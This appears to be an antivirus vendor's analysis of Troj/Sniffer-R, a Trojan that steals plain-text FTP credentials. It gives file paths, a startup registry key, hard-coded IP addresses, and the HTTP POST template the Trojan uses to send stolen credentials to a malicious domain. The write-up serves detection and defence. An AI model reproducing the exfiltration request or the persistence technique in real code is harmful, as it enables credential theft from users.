About:
Troj/Sniffer-R is a malicious file that "sniffs" FTP credentials, meaning it monitors users' network traffic to steal and report users' FTP credentials to a remote site. This Trojan is somewhat unusual in that it only sniffs plain-text FTP traffic via port 21—secure FTP (SFTP) would not be sniffed.
This Trojan is often dropped to the following location:
<Progam Files>\Common Files\file.exe
and copies itself to one of the following locations:
<Application Data>\Microsoft\Windows\winlogon.exe
C:\Program Files\Microsoft\winlogon.exe
Troj/Sniffer-R then creates the following registry entry so that it runs automatically on startup:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Microsoft Windows logon process
<path to Trojan>
After sniffing network traffic for FTP credentials, the Trojan pushes the stolen information to these hard-coded IP addresses:
"91.203.93.23"
"70.87.136.2"
—which, at the time of original analysis, resolved to the known malicious site "addded.com," though it now resides at different IP addresses (see note below). This malicious site is actually used in the POST request:
POST /cgi-bin/check.pl HTTP/1.1
Host: addded.com
Content-Length: %d
Connection: close
%s
—where the variables %d and %s are filled in when the data is pushed.
Troj/Sniffer-R is sometimes dropped by Fake AV, Troj/FakeAv-AAL in particular.
The packer code used to obfuscate Troj/Sniffer-R has much in common with the TDSS family of malware. Sophos detects variants of this file as Mal/TDSSPack-Q and Mal/TDSSPack-R. The code-obscuring characteristics include fake exports that are placed randomly in the middle of other functions, as well as extreme repeated use of extended operations—in this case, floating point operations using XMM registers.
Note: As with many Fake AV pushers, the malicious domain to record sniffed credentials has already shifted the IP addresses for "addded.com." Notably, the time to live (TTL) for the DNS record on "addded.com" is short—only 60 seconds. By comparison, a common TTL value is 86400 seconds, or 24 hours.